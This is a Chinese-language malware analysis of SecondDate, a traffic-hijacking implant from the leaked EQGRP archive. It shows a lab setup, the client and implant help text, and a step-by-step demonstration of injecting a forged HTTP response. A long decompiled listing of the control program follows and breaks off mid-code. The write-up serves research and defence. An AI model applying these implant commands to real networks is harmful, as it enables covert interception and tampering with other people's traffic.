Equation_SecondDate

Equation_SecondDate

作者根据EQGRP公开资料进行研究分析，研究相关工具的开发实现和攻击防御思路。

概述

本来打算早就分析,最后有事情就拖延下来了,结果就是 CNCert 和 T0daySeeker 分别发布了相关分析,正好节后有空,就跟着分析一下.
从技术角度,应该比较完善了,我这里主要是补充一些使用场景等组合利用,以及代码的逆向分析.

整个代码在GitHub - x0rz/EQGRP: Decrypted content of eqgrp-auction-file.tar.xz, 这里分析的样本都来自这里.

根据 T0daySeeker 的分析,旧代码使用libpcap, libnet, 新代码使用bpf, 这里就直接分析最新代码了,这样省事一些.

目标

分析SecondDate的功能和应用场景,并逆向分析其技术特点.
程序来自目录 EQGRP/archive_files/seconddate_clients at master · x0rz/EQGRP · GitHub

```
sha1sum seconddate_CommonClient_3.1.0.2_i386-linux
bf53219dc69f40bc4a0e81214f9815097bf818e6
seconddate_CommonClient_3.1.0.2_i386-linux

file seconddate_CommonClient_3.1.0.2_i386-linux
seconddate_CommonClient_3.1.0.2_i386-linux: ELF 32-bit LSB executable,
Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically
linked, interpreter /lib/ld-linux.so.2, no section header

sha1sum Seconddate_*
0a7830ff10a02c80dee8ddf1ceb13076d12b7d83  Seconddate_CnC
da3cb8ab4632ec36c99c71417d21960846d1fefe  Seconddate_Implant
```

复制

程序来自目录 EQGRP/archive_files/seconddate_implants at master · x0rz/EQGRP · GitHub

```
sha1sum seconddate_ImplantStandalone_3.0.3.1_remote_i386-linux
ad5d4c455210bf71af8cd8ca0ccd0f3ac4318537
seconddate_ImplantStandalone_3.0.3.1_remote_i386-linux
```

```
file seconddate_ImplantStandalone_3.0.3.1_remote_i386-linux
seconddate_ImplantStandalone_3.0.3.1_remote_i386-linux: ELF 32-bit LSB
executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0,
dynamically linked, interpreter /lib/ld-linux.so.2, no section header

file Seconddate_*
Seconddate_CnC:     ELF 32-bit LSB executable, Intel 80386, version 1
(SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for
GNU/Linux 2.6.9, stripped
Seconddate_Implant: ELF 32-bit LSB executable, Intel 80386, version 1
(SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for
GNU/Linux 2.6.9, stripped
```

功能

测试环境

Client的是

```
cat /etc/redhat-release
CentOS release 6.9 (Final)

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast
state UP qlen 1000
    link/ether 08:00:27:4e:1a:69 brd ff:ff:ff:ff:ff:ff
    inet 172.19.2.14/24 brd 172.19.2.255 scope global eth0
```

Implant的是

```
cat /etc/redhat-release
CentOS Linux release 7.9.2009 (AltArch)

2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast
state UP group default qlen 1000
    link/ether 08:00:27:dc:8e:89 brd ff:ff:ff:ff:ff:ff
    inet 172.19.2.15/24 brd 172.19.2.255 scope global noprefixroute
enp0s3
```

都是x86环境.

Client

程序参数

```
./seconddate_CommonClient_3.1.0.2_i386-linux -h

Usage: ./seconddate_CommonClient_3.1.0.2_i386-linux -v [ --version ]
       ./seconddate_CommonClient_3.1.0.2_i386-linux -h [ --help ]
       ./seconddate_CommonClient_3.1.0.2_i386-linux [ ip[:port] ] [
... options ... ]


Valid options:
    --local-port <port>             : Description:
                                        Source port to use for all
outgoing
                                        traffic.
                                      Default:
                                        System chosen

    --response-src <ip[:port]>      : Description:
                                        Force responses to originate
from the
                                        given network address and
port.
                                      Default:
                                        Use the command's destination

    --response-dst <ip[:port]>      : Description:
                                        Force the response's
destination to
                                        be the given network address
and port
                                      Default:
                                        Use the command's source

    --set-retries <integer>         : Description:
                                        Number of times to retry a
command
                                        if valid responses are not
received
                                        within the timeout window.
                                      Default:
                                        3
```

```
    --set-timeout <integer>          : Description:
                                         Number of seconds to wait for
a valid
                                         response to be received.
                                       Default:
                                         5 (secs)

    --node <node>                    : Description:
                                         Hexadecimal node number.
                                       Default:
                                         The broadcast address.
    --maxpad <integer>               : Description:
                                         Maximum amount of random
padding to use
                                         in packets.
                                       Default:
                                         128 (lower than 64 is not
recommended).

Start the interactive client program.

If the optional ip[:port] parameter is not provided on the command
line, then
it must be set through a client command before any communication can
occur.
```

这个Client明显是做fake 数据给目标对象的,通过设置响应数据包的IP和端口

先启动Implant.

```
sudo ./seconddate_ImplantStandalone_3.0.3.1_remote_i386-linux

sudo ps aux | grep Imp
[sudo] password for hacker:
root      2011  0.0  0.0   4020   716 ?        S    21:30   0:00
./seconddate_ImplantStandalone_3.0.3.1_remote_i386-linux
```

启动Client(控制端).

```
sudo ./seconddate_CommonClient_3.1.0.2_i386-linux 172.19.2.15:80

./seconddate_CommonClient_3.1.0.2_i386-linux 3.1.1.1
```

```
List all available command:     'help'
Interrupt a command:            Control-C
Terminate this program:         'quit' or Control-D

SD> ping
Mon, 04 Mar 2024 02:31:05 +0000
Automatically synchronizing...
Synchronize success

[SUCCESS]
```

到目前为止,已经连接成功.

主要功能就是rule设置,然后进行流量劫持.

```
SD> help rule
Mon, 04 Mar 2024 03:14:17 +0000

Usage: rule <rule number> [ ... options ... ]

Valid options:
    --srcaddr <ip address>          : Default:
                                        any (0.0.0.0 IPv4, :: IPv6)
    --srcmask <mask>                : Description:
                                        Formatted as xxx.xxx.xxx.xxx
(IPv4 only)
                                        or CIDR value (IPv4 and IPv6).
                                        Interpretation is based on --
srcaddr's
                                        IP version.
                                    Default:
                                        If --srcaddr is:
                                            IPv4: 255.255.255.255 (or
32)
                                            IPv6: 128
                                            Not set: 0.0.0.0 (IPv4) or
0 (IPv6)
    --dstaddr <ip address>          : Default:
                                        any (0.0.0.0 IPv4, :: IPv6)
    --dstmask <mask>                : Description:
                                        Formatted as xxx.xxx.xxx.xxx
(IPv4 only)
                                        or CIDR value (IPv4 and IPv6).
```

```
                                        Interpretation is based on --
dstaddr's
                                        IP version.
                                      Default:
                                        If --dstaddr is:
                                            IPv4: 255.255.255.255 (or
32)
                                            IPv6: 128
                                            Not set: 0.0.0.0 (IPv4) or
0 (IPv6)
    --protocol <integer>            : Default:
                                        6 (TCP)
    --srcport <integer>             : Default:
                                        0 (any)
    --dstport <integer>             : Default:
                                        0 (any)

    --appnone=[string]              : Default:
        or --apphttp                  --appnone
        or --appdns[=string]
        or --appqs[=string]           --appnone Options:
        or --apptip                     reverse | forward
                                      Default:
                                        reverse

                                      --appdns Options:
                                        a     | axfr | cname | hinfo |
maila |
                                        mailb | mb   | md    | mf    |
mg    |
                                        minfo | mr   | mx    | ns    |
null  |
                                        ptr   | soa  | txt   | wks
                                      Default:
                                        a

                                      --appqs Options:
                                        s | r | sr   (s = shoot, r =
respond)
                                      Default:
                                        neither

    --matches <integer>             : Description:
```

```
                                        Total number of matches to
perform
                                        within the window period. 0
                                        indicates infinite matches.
                                      Default:
                                        5
    --window <integer>                : Description:
                                        Window period duration in
seconds. 0
                                        indicates an infinite window.
                                      Default:
                                        0
    --interval <integer>              : Description:
                                        Minimum time between
subsequent matches
                                        in seconds.
                                      Default:
                                        60

    --runtime <integer>               : Description:
                                        Maximum length of time to run
after
                                        being enabled in seconds. 0
indicates
                                        infinite time.
                                      Default:
                                        0

    --regexfile <path>                : Default:
        or --regex <string>               not set

    --injectfile <path>               : Default:
        or --inject <string>              not set

    --interact-normal                 : Description:
        or --interact-normal-block        Control the interaction
between
        or --interact-normal-skip         multiple rules. Please
reference
        or --interact-ignore              the offline documentation for
more
        or --interact-ignore-block        information.
        or --interact-ignore-skip     Default:
```

```
                                        --interact-normal

    --tcpflag <string>              : Options:
                                        fin | syn | rst | psh | ack |
urg | none
                                      Default:
                                        fin ack psh
                                      Note:
                                        To set multiple flags this
option
                                        should be specified multiple
times.

    --nolog                         : Default:
                                        not set

    --qskeyfile <path>              : Default:
        or --qskey <32-byte hex>        not set

    --qsmaxpad <integer>            : Default:
                                        128 (lower than 64 is not
recommended)

    --tipmode <mode #>,<stego #>    : Options:
                                        Mode: Full(1), Sparse(2),
Quick(3)
                                        Stego: None(1), IKEv2(2)
                                      Default:
                                        Full, IKEv2
                                      Example: 1,2

    --tipkey <16-byte hex>          : Default:
                                        not set

    --tipuuid <16-char string>      : Default:
                                        not set

    --tipsrc <IPv4 addr>:<port>     : Default:
                                        not set
                                      Note:
                                        Format should be
xxx.xxx.xxx.xxx:port
```

```
    --tipdst <IPv4 addr>:<port>     : Default:
                                        not set
                                      Note:
                                        Format should be
xxx.xxx.xxx.xxx:port

    --tipsrcport <begin>:<end>      : Options:
                                        <begin> Lower port # of range.
                                        <end> Higher port # of range.
                                      Default:
                                        1024-65535
                                      Note:
                                        Format should be <begin>:<end>

    --tipsrcmask <mask>              : Options:
                                        <mask> Netmask for source ip.
                                      Default:
                                        32
                                      Note:
                                        Format should be either
x.x.x.x or <0-32>

Create or update rule <rule number> with the properties described by
[ ... options ... ].

If an option is not provided the listed defaults will be used.


[SUCCESS]
```

下面简单设置一个http劫持.

其中的response.html内容如下.

```
cat response.html
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 87

<html><body>Hello World!!<br><br>Test Seconddate_CnC Tools!!<br>
</iframe></body></html>
```

配置规则.

```
SD> rule 1 --dstport 80 --matches 2 --window 600 --injectfile
/home/hacker/seconddate/response.html
Mon, 04 Mar 2024 03:52:15 +0000

[SUCCESS]

SD> showrule 1
Mon, 04 Mar 2024 03:52:39 +0000
Rule:               1
Uploaded Time:      24 (secs)
Enabled?:           no
Enabled Time:       0 (secs)
Src IP/Mask:        any/0
Dst IP/Mask:        any/0
Protocol:           6
Src Port:           0
Dst Port:           80
Application:        NOAPP
Interaction:        Normal
Regex:              N/A
Injection Length:   148
Injection:          HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 87

<html><body>Hello World!!<br><br>Test Seconddate_CnC Tools!!<br>
</iframe></body></html>

TCP Flags:          FIN PSH ACK
Direction:          Reverse
Log?:               yes
Minimum Interval:   60 (secs)
Window Size:        600 (secs)
Maximum Runtime:    0 (secs)
Maximum Matches:    2
Window Ends:        0 (secs)
Runtime Remaining:  N/A
Next Match:         0 (secs)
Window Matches:     0
Total Matches:      0
Misses:             0
```

```
[SUCCESS]

SD> enable 1
Mon, 04 Mar 2024 03:53:01 +0000

[SUCCESS]
```

在植入物的同台机器上启动HTTP服务.

```
cat index.html
<html><body>Hello World!!<br></iframe></body></html>

sudo python -m SimpleHTTPServer  80
```

然后在另一台设备通过浏览器或者命令行来访问植入物上的HTTP服务.

```
curl http://172.19.2.15
<html><body>Hello World!!<br><br>Test Seconddate_CnC Tools!!<br>
</iframe></body></html>
```

可以看到,确实收到了被篡改的页面内容.

查看日志.

```
 getlog
[#] Mon, 04 Mar 2024 02:55:42 -0500
Index   Src Address     Dest Address    Prot    Src Port        Dst
Port        Age(secs)       rule
-----   -----------     ------------    ----    --------        ------
--        -----------       ------
0       172.19.2.14     172.19.2.15     6          45066
80              366       2
1       172.19.2.1      172.19.2.15     6          59354
80              179       2
stopping at curr = 2
```

我在测试时发现高版本不好用,应该是ebpf的原因,所以就用低版本进行功能说明.

```
help
[#] Mon, 04 Mar 2024 03:10:03 -0500
Command:                              Description
```

```
--------                                  --------------------------------
------
clearlog                                  Clears entire translation table.
                                          All rules must be disabled
first.

disable [rulenum]                         Disables redirection/survey
rule.

enable [rulenum]                          Enables redirection/survey rule.

help or ?                                 Shows this command summary.

ping                                      Tests for connectivity to sd
module.

quit or exit                              Exits.

rule [rulenum] [opts ...]                 Sets options for a rule.
                                          where opts is one or more of the
following options
                                          (defaults are shown in
parentheses):
                                          [--srcaddr addr(0)] [--srcmask
mask(255.255.255.255)]
                                          [--dstaddr addr(0)] [--dstmask
mask(255.255.255.255)]
                                          [--protocol prot(6/TCP)] [--
srcport port(0)] [--dstport port(0)]
                                          [--mininterval(60)] [--
maxinjections(5)] [--injectwindow(0)]
                                          [--checkhttp (default) | --
nocheckhttp]
                                          [--checkregex (default) | --
nocheckregex]
                                          [--tcpflag (FIN ACK) URG | ACK |
PSH | RST | SYN | FIN ]
                                          [--regexfile <filename>] [--
injectfile <filename>

getinfo                                   Show generic implant
information.
```

```
showrule [--all | rulenum]              Shows contents of enabled rules.
                                        All rules are shown if the --all
flag is used.

getlog [--log logfile ] [entrynum]      Shows contents of the log.
                                        Starts at entry entrynum if
provided or 0 otherwise.
                                        Optionally writes its output to
logfile.

uninstall                               Uninstalls (unloads) sd module
from router.
                                        Requires sd to be reinstalled
after this command
                                        for future operations using sd.

Configuring min interval, max injections and inject window examples:
All times are input in seconds
        10 injections per 2 hour window until manually disabled and
injections are 5 minutes apart.
                min interval = 300, max injections = 10, inject window
= 7200
        10 injections then disable and injections are 5 minutes apart
                min interval = 300, max injections = 10, inject window
= 0
        inject every 5 minutes until manually disabled
                min interval = 300, max injections = 0, inject window
= 0
        The default is 5 injections the disable and injections are 60
seconds apart

rule 2 --dstport 80 --maxinjections 5 --injectwindow 60 --nocheckregex
--injectfile /home/hacker/seconddate/response.html
```

> 高版本的rule与低版本的rule相比,增加了隧道功能, 这样就可以在目标IT环境中,建立一个安全的通信网络.

功能主要就是规则的管理,执行规则是由Implant在目标机器上运行的.
根据释放的代码,Implant支持linux, freebsd, solaris, junos.

分析

Seconddate_CnC

Seconddate_CnC是一个管理程序,功能相对来说比较简单和统一,就是规则管理和下发.

```
// TAGS: dict_keys(['file', 'net'])
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edi
  int v4; // ebx
  const char **v5; // esi
  int v6; // eax
  unsigned int v7; // eax
  char *v9; // edx
  char *v10; // edi
  int v11; // eax
  int v12; // eax
  int v13; // esi
  const char *v14; // eax
  char *v15; // ebx
  signed int length; // ecx
  int v17; // eax
  int v18; // eax
  unsigned int v19; // ecx
  int v20; // eax
  int v21; // eax
  int v22; // eax
  int v23; // eax
  int v24; // eax
  int v25; // eax
  int v26; // eax
  unsigned int v27; // ecx
  unsigned int v28; // ecx
  unsigned int v29; // ecx
  unsigned int v30; // ecx
  char *v31; // eax
  int v32; // eax
  const char *v33; // eax
  char *v34; // esi
  int v35; // eax
  int v36; // ebx
  int v37; // eax
  int v38; // eax
  int v39; // eax
  _BYTE *v40; // ebx
  _BYTE *v41; // esi
```

```
int v42; // eax
_BYTE *v43; // ebx
_BYTE *v44; // esi
const char *v45; // eax
char *v46; // edi
int v47; // eax
int v48; // esi
__int16 v49; // bx
int v50; // eax
int v51; // eax
int v52; // eax
char *v53; // esi
int v54; // eax
int v55; // ebx
int v56; // eax
int v57; // eax
int v58; // eax
unsigned int v59; // ecx
unsigned int v60; // ecx
int v61; // ebx
char *v62; // esi
char *v63; // eax
int v64; // eax
int v65; // ebx
char *v66; // esi
char *v67; // eax
int v68; // eax
int v69; // eax
int v70; // eax
const char *v71; // eax
char *v72; // esi
int v73; // eax
int v74; // ebx
int v75; // eax
int v76; // eax
int v77; // eax
__int16 v78; // ax
char *v79; // ebx
int v80; // eax
int v81; // esi
int v82; // esi
int v83; // ebx
int v84; // eax
```

```
int v85; // esi
int v86; // eax
int v87; // eax
int v88; // ebx
int v89; // eax
int v90; // eax
int v91; // eax
unsigned __int8 *v92; // eax
void *v93; // ebx
int v94; // edx
_BYTE *v95; // ecx
unsigned __int8 *v96; // eax
void *v97; // ebx
int v98; // edx
_BYTE *v99; // ecx
void *v100; // esi
int v101; // ebx
int v102; // ebx
const char *v103; // eax
char *v104; // esi
FILE *v105; // eax
const char *v106; // eax
char *v107; // esi
FILE *v108; // eax
unsigned __int8 *v109; // eax
int v110; // edx
_BYTE *v111; // ecx
int v112; // ebx
unsigned int v113; // ecx
int v114; // ebx
char *v115; // eax
int v116; // esi
int v117; // eax
int v118; // ebx
int v119; // eax
__int16 v120; // si
int v121; // ebx
int v122; // eax
__int16 v123; // si
const char *v124; // ebx
int v125; // eax
int v126; // eax
int v127; // eax
```

```
FILE *v128; // esi
struct tm *v129; // eax
int v130; // eax
int v131; // eax
int v132; // eax
int v133; // eax
int v134; // eax
int v135; // eax
int v136; // edi
struct sndreq *p_resp; // ebx
int type; // edx
unsigned int v139; // edx
int v140; // eax
int v141; // eax
char *v142; // eax
char *v143; // eax
int v144; // eax
int v145; // eax
int command; // eax
int v147; // eax
unsigned int v148; // ecx
int v149; // eax
__int16 v150; // dx
int v151; // ebx
int v152; // eax
int v153; // eax
unsigned int v154; // ecx
unsigned int v155; // ecx
unsigned int v156; // ecx
int v157; // ebx
char *v158; // eax
int v159; // esi
int v160; // eax
unsigned __int8 *v161; // eax
int v162; // ebx
_BYTE *v163; // ecx
unsigned __int8 *v164; // eax
int v165; // ebx
_BYTE *v166; // ecx
unsigned __int8 *v167; // eax
int v168; // ebx
_BYTE *v169; // ecx
unsigned __int8 *v170; // eax
```

```
int v171; // ebx
_BYTE *v172; // ecx
unsigned __int8 *v173; // eax
int v174; // ebx
_BYTE *v175; // ecx
unsigned __int8 *v176; // eax
int v177; // ebx
_BYTE *v178; // ecx
char *v179; // esi
int v180; // eax
int v181; // ebx
int v182; // eax
int v183; // eax
int v184; // eax
int v185; // eax
int v186; // eax
int v187; // ebx
int v188; // eax
int v189; // eax
const char *v190; // eax
char *v191; // esi
int v192; // eax
int v193; // ebx
int v194; // ebx
int v195; // eax
int v196; // eax
int v197; // ebx
int v198; // eax
__int16 v199; // bx
int v200; // eax
__int16 v201; // bx
FILE *v202; // eax
int v203; // esi
FILE *v204; // eax
int v205; // esi
int v206; // esi
int v207; // eax
int v208; // ebx
int v209; // edi
int v210; // esi
int v211; // eax
int v212; // eax
int v213; // eax
```

```
int v214; // eax
int v215; // edx
char *v216; // esi
int v217; // eax
int v218; // eax
int v219; // eax
char *v220; // [esp-38h] [ebp-1398h]
char *v221; // [esp-38h] [ebp-1398h]
char *str; // [esp+0h] [ebp-1360h]
int v223; // [esp+4h] [ebp-135Ch]
int v224; // [esp+8h] [ebp-1358h]
char *v225; // [esp+Ch] [ebp-1354h]
char v226; // [esp+12h] [ebp-134Eh]
char v227; // [esp+13h] [ebp-134Dh]
int v228; // [esp+14h] [ebp-134Ch]
char *v229; // [esp+18h] [ebp-1348h]
int v230; // [esp+1Ch] [ebp-1344h]
void *ptr; // [esp+20h] [ebp-1340h]
int v232; // [esp+24h] [ebp-133Ch]
FILE *stream; // [esp+28h] [ebp-1338h]
const char *v234; // [esp+2Ch] [ebp-1334h]
int v235; // [esp+30h] [ebp-1330h]
size_t v236; // [esp+34h] [ebp-132Ch]
int fd; // [esp+38h] [ebp-1328h]
int v238; // [esp+3Ch] [ebp-1324h]
int v239; // [esp+40h] [ebp-1320h]
int v240; // [esp+44h] [ebp-131Ch]
int v241; // [esp+48h] [ebp-1318h]
int v242; // [esp+4Ch] [ebp-1314h]
char *v243; // [esp+50h] [ebp-1310h]
char *v244; // [esp+54h] [ebp-130Ch]
int v245; // [esp+58h] [ebp-1308h]
int v246; // [esp+5Ch] [ebp-1304h]
struct sndreq resp; // [esp+64h] [ebp-12FCh] BYREF
__int16 v248; // [esp+84h] [ebp-12DCh]
__int16 v249; // [esp+86h] [ebp-12DAh]
__int16 v250; // [esp+88h] [ebp-12D8h]
__int16 v251; // [esp+8Ah] [ebp-12D6h]
__int16 v252; // [esp+8Ch] [ebp-12D4h]
__int16 v253; // [esp+8Eh] [ebp-12D2h]
__int16 v254; // [esp+90h] [ebp-12D0h]
__int16 v255; // [esp+92h] [ebp-12CEh]
__int16 v256[499]; // [esp+94h] [ebp-12CCh]
```

```
struct sndreq req; // [esp+47Ch] [ebp-EE4h] BYREF
int i; // [esp+4A4h] [ebp-EBCh] BYREF
int v259; // [esp+4A8h] [ebp-EB8h]
in_addr_t s_addr; // [esp+4ACh] [ebp-EB4h]
in_addr_t v261; // [esp+4B0h] [ebp-EB0h]
in_addr_t v262; // [esp+4B4h] [ebp-EACh]
in_addr_t v263; // [esp+4B8h] [ebp-EA8h]
__int16 v264; // [esp+4BCh] [ebp-EA4h]
__int16 v265; // [esp+4BEh] [ebp-EA2h]
__int16 v266; // [esp+4C0h] [ebp-EA0h]
int v267; // [esp+4C4h] [ebp-E9Ch]
int v268; // [esp+4C8h] [ebp-E98h]
int v269; // [esp+4CCh] [ebp-E94h]
int v270; // [esp+4D0h] [ebp-E90h]
char v271[256]; // [esp+4E4h] [ebp-E7Ch] BYREF
char v272[688]; // [esp+5E4h] [ebp-D7Ch] BYREF
char filename[1024]; // [esp+894h] [ebp-ACCh] BYREF
char inputStr[1024]; // [esp+C94h] [ebp-6CCh] BYREF
char *v275; // [esp+1094h] [ebp-2CCh] BYREF
char *nptr; // [esp+1098h] [ebp-2C8h]
char s[80]; // [esp+1294h] [ebp-CCh] BYREF
char inputBuffer[80]; // [esp+12E4h] [ebp-7Ch] BYREF
struct sockaddr addr; // [esp+1334h] [ebp-2Ch] BYREF
struct in_addr inp; // [esp+1344h] [ebp-1Ch] BYREF
int longind; // [esp+1348h] [ebp-18h] BYREF
time_t timer; // [esp+134Ch] [ebp-14h] BYREF
int *p_argc; // [esp+1350h] [ebp-10h]

v3 = 0;
p_argc = &argc;
v4 = argc;
v5 = argv;
d7F = 0;
while ( 1 )
{
  v6 = getopt(v4, v5, "v");
  if ( v6 == -1 )
    break;
  if ( v6 == 'v' )
    v3 = 1;
}
if ( v3 )
{
```

```
    puts("$Revision: 174 $");
    printf("Release: %s\n", "1.1.1.1");
    return 0;
  }
  if ( v4 != optind + 1 && v4 != optind + 2 )
  {
    fprintf(stderr, "Usage: %s [-v]\n", *v5);
    fprintf(stderr, "       %s <target address> [target port]\n",
*v5);
    goto LABEL_107;
  }
  v7 = time(0);
  srandom(v7);
  sdSequenceNum = random();
  if ( !cryptoSetup() )
  {
    if ( inet_aton(v5[1], &routerAddr) )
    {
      if ( v4 == 3 )
      {
        routerPort = __strtol_internal(v5[2], 0, 10, 0);
        if ( !routerPort )
        {
          fprintf(stderr, "SECONDDATE: %s is invalid port number.\n",
v5[2]);
          goto LABEL_107;
        }
      }
      fd = socket(2, AF_INET, 0);
      if ( fd == -1 )
      {
        fwrite("SECONDDATE: unable to open socket\n", 1u, 0x22u,
stderr);
        perror("SECONDDATE: bad response from socket() call");
        exit(1);
      }
      *&addr.sa_family = AF_INET;
      memset(&addr.sa_data[2], 0, 12);
      if ( bind(fd, &addr, 0x10u) == -1 )
      {
        fwrite("SECONDDATE: unable to bind socket\n", 1u, 0x22u,
stderr);
        perror("SECONDDATE: bad response from bind() call");
```

```
        exit(1);
      }
      rl_completion_entry_function = isCommand_8055D60;
      snprintf(s, 0x50u, "Which rule number [1 - %d]?: ", 64);
      if ( _setjmp(env) )
        d7F &= ~8u;
      else
        sigset(2, sighandler);
      snprintf(inputBuffer, 0x50u, "SECONDDATE> ");
      ptr = 0;
      stream = 0;
      LOWORD(v242) = 1;
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
LABEL_17:
            str = readline(inputBuffer);
            if ( !str )
            {
LABEL_51:
              putchar(10);
              return 0;
            }
            v9 = str;
            if ( !*str )
              goto LABEL_24;
            v10 = str;
            if ( sscanf(str, "%s", inputStr) != 1 )
              goto LABEL_20;
            add_history(str);
            if ( ptr )
              free(ptr);
            v13 = 1;
            ptr = isCommand_8055D60(inputStr, 0);
            if ( !ptr )
            {
              fwrite("SECONDDATE: unknown command\n", 1u, 0x1Cu,
stderr);
              continue;
            }
```

```
            while ( 1 )
            {
              v14 = isCommand_8055D60(inputStr, v13);
              v15 = v14;
              if ( !v14 )
                break;
              if ( strcmp(ptr, v14) )
              {
                free(v15);
                fwrite("SECONDDATE: ambiguous command.  Try again.\n",
1u, 0x2Bu, stderr);
                goto LABEL_17;
              }
              ++v13;
              free(v15);
            }
            printf("[#] ");
            printLocalTime();
            putchar('\n');
            memset(&req, 0, 0x418u);
            length = strlen(ptr);
            v224 = length;
            if ( length > 5 )
              length = 5;
            if ( !memcmp(ptr, "ping", length) ) // ping
            {
              req.command = 0x1000000;
              if ( sendCommand(fd, &req, &resp.magic) )
                continue;
              HIWORD(v17) = v249;
              LOWORD(v17) = __ROR2__(v248, 8);
              v18 = __ROR4__(v17, 16);
              LOWORD(v18) = __ROR2__(v18, 8);
              if ( v18 )
                goto LABEL_37;
LABEL_118:
              puts("OK.");
              continue;
            }
            v19 = v224;
            if ( v224 > 8 )
              v19 = 8;
            if ( !memcmp(ptr, "getinfo", v19) ) // getinfo
```

```
            {
              req.command = 0x7000000;
              if ( sendCommand(fd, &req, &resp.magic) )
                continue;
              HIWORD(v20) = v249;
              LOWORD(v20) = __ROR2__(v248, 8);
              v18 = __ROR4__(v20, 16);
              LOWORD(v18) = __ROR2__(v18, 8);
              if ( !v18 )
              {
                HIWORD(v21) = v253;
                LOWORD(v21) = __ROR2__(v252, 8);
                v22 = __ROR4__(v21, 16);
                LOWORD(v22) = __ROR2__(v22, 8);
                printf("SecondDate Version: %08X\n", v22);
                HIWORD(v23) = v255;
                LOWORD(v23) = __ROR2__(v254, 8);
                v24 = __ROR4__(v23, 16);
                LOWORD(v24) = __ROR2__(v24, 8);
                printf("Current number of active log entries is %d\n",
v24);
                HIWORD(v25) = v256[1];
                LOWORD(v25) = __ROR2__(v256[0], 8);
                v26 = __ROR4__(v25, 16);
                LOWORD(v26) = __ROR2__(v26, 8);
                printf("Current number of active rules is %d\n", v26);
                continue;
              }
              goto LABEL_37;
            }
            v29 = v224;
            if ( v224 > 9 )
              v29 = 9;
            if ( !memcmp(ptr, "clearlog", v29) )// clearlog
            {
              req.command = 0xA000000;
              if ( sendCommand(fd, &req, &resp.magic) )
                continue;
              HIWORD(v50) = v249;
              LOWORD(v50) = __ROR2__(v248, 8);
              v51 = __ROR4__(v50, 16);
              LOWORD(v51) = __ROR2__(v51, 8);
              if ( v51 )
```

```
              {
                fwrite("SECONDDATE: all rules must be disabled before
clearing the log.\n", 1u, 0x40u, stderr);
                continue;
              }
              goto LABEL_118;
            }
            v30 = v224;
            if ( v224 > 5 )
              v30 = 5;
            if ( memcmp(ptr, "rule", v30) )     // rule
              break;
            memset(&i, 0, 0x340u);
            v267 = 0x3C000000;
            v268 = 0x5000000;
            v269 = 0;
            v264 = 0x600;
            *(&i + 1) = 257;
            HIBYTE(i) = 25;
            v229 = __strdup(str);
            v228 = 0;
            while ( 1 )
            {
              v31 = strtok(v229, " ");
              (&v275)[v228] = v31;
              if ( !v31 )
                break;
              ++v228;
              v229 = 0;
              if ( v228 == 128 )
                goto LABEL_140;
            }
            if ( v228 > 2 )
            {
LABEL_140:
              optind = 0;
              v226 = 0;
              v227 = 0;
              v230 = 0;
              v232 = 0;
              v238 = 0;
              while ( 1 )
              {
```

```
                while ( 1 )
                {
                  while ( 1 )
                  {
                    v69 = getopt_long(v228, &v275, &byte_8082320,
&stru_8089720, &longind);
                    if ( v69 == -1 )
                    {
                      if ( !v238 && s_addr )
                        v261 = -1;
                      if ( !v232 && v262 )
                        v263 = -1;
                      if ( v264 && v264 != 0x600 && v264 != 0x1100 )
                      {
                        fwrite(
                          "SECONDDATE: TCP, UDP or 0 (any) are the
only valid protocol options.\n",
                          1u,
                          0x45u,
                          stderr);
                        v230 = 1;
                      }
                      if ( BYTE2(i) == 1 && !v227 )
                      {
                        fwrite("SECONDDATE: REGEX pattern checking
requires a pattern file.\n", 1u, 0x3Cu, stderr);
                        v230 = 1;
                      }
                      if ( v228 - 1 != optind )
                      {
LABEL_165:
                        fwrite(
                          "SECONDDATE: Usage: rule [rulenum] [--
srcaddr addr] [--srcmask mask] [--dstaddr addr] [--dstmas"
                          "k mask] [--protocol prot] [--srcport port]
[--dstport port] [--regexfile file] [--injectfile f"
                          "ile] [--mininterval] [--maxinjections] [--
injectwindow] [--checkhttp|--nocheckhttp] [--checkre"
                          "gex|--nocheckregex] [--tcpflag
SYN|ACK|URG|PSH|RST|FIN] \n",
                          1u,
                          0x153u,
                          stderr);
```

```
                        free(v229);
                        goto LABEL_17;
                      }
                      v149 = __strtol_internal((&v275)[v228 - 1], 0,
10, 0);
                      v150 = v149;
                      if ( v149 <= 0 || v149 > 64 || v230 )
                      {
                        LOWORD(v242) = v149;
                        goto LABEL_165;
                      }
                      v218 = v149 - 1;
                      LOWORD(v242) = v150;
                      LOWORD(v218) = __ROR2__(v150 - 1, 8);
                      v219 = __ROR4__(v218, 16);
                      LOWORD(v219) = __ROR2__(v219, 8);
                      v259 = v219;
LABEL_22:
                      req.command = 0x2000000;
                      if ( !sendCommand(fd, &req, &resp.magic) )
                      {
                        HIWORD(v125) = v249;
                        LOWORD(v125) = __ROR2__(v248, 8);
                        v126 = __ROR4__(v125, 16);
                        LOWORD(v126) = __ROR2__(v126, 8);
                        if ( v126 == 1 )
                        {
                          fwrite("You must disable the rule before
setting it.\n", 1u, 0x2Du, stderr);
                        }
                        else if ( v126 )
                        {
                          if ( v126 == 4 )
                            fwrite("The Custom Regular Expression did
not compile\n", 1u, 0x2Eu, stderr);
                          else
                            fprintf(stderr, "SECONDDATE: command
failed with error code %d.\n", v126);
                        }
                        else
                        {
                          puts("OK.");
                        }
```

```
                    }
                    v9 = v229;
LABEL_24:
                    free(v9);
                    goto LABEL_17;
                  }
                  if ( !v69 )
                    break;
LABEL_148:
                  v230 = 1;
                }
                if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"checkhttp") )// checkhttp
                {
                  BYTE1(i) = 1;
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 *
longind), "checkregex") )// checkregex
                {
                  BYTE2(i) = 1;
                }
                if ( strcmp(*(&stru_8089720.name + 4 * longind),
"nocheckhttp") )// nocheckhttp
                  break;
                BYTE1(i) = 0;
              }
              if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"nocheckregex") )// nocheckregex
              {
